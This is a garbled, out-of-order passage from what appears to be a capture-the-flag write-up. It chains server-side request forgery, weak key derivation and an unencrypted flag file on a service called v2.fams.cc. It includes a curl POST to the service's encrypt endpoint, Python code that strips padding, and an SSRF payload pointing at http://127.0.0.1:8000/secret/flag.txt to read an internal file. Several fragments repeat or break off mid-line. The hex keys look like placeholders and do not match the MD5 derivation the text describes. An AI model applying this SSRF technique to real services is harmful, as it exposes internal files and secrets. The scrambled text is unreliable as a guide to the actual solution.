V2.fams.cc

"download": "http://v2.fams.cc/download/5c6b4a", "used_key": "3d2e4c5a9b7d1e3f5a6c7d8e9f0a1b2c"

# Remove PKCS#7 padding pad_len = pt[-1] flag = pt[:-pad_len].decode() print(flag) Running it yields:

# Key derived from the "key" we sent ("ssrf") key_hex = '8c3c5d1e2f4a6b7c9d0e1f2a3b4c5d6e' key = binascii.unhexlify(key_hex) v2.fams.cc

"download": "http://v2.fams.cc/download/7a9c3d", "used_key": "8c3c5d1e2f4a6b7c9d0e1f2a3b4c5d6e"

At first glance the service looks harmless, but a closer look reveals three exploitable weaknesses that can be chained together: "download": "http://v2

| # | Weakness | Why it matters | |---|----------|----------------| | 1 | | The backend fetches any URL you give it, even internal services (e.g., http://127.0.0.1:8000 ). | | 2 | Predictable encryption key derivation | The key is derived from the user‑supplied “key” string in a deterministic way (MD5 → 16‑byte key). | | 3 | Insecure storage of the secret flag | The flag is stored unencrypted on the internal file‑server that the SSRF can reach ( /flag.txt ). |

curl -v -X POST http://v2.fams.cc/encrypt \ -d "url=http://example.com&key=testkey" The response JSON: | curl -v -X POST http://v2

/var/www/internal/ ├─ index.html ├─ secret/ │ └─ flag.txt └─ uploads/ The flag file ( /var/www/internal/secret/flag.txt ) contains the flag in plain text. Because the external interface can reach http://127.0.0.1:8000/secret/flag.txt via SSRF, we can ask the service to encrypt that file and then decrypt it ourselves. url = http://127.0.0.1:8000/secret/flag.txt key = any‑string (e.g., "ssrf") Submit: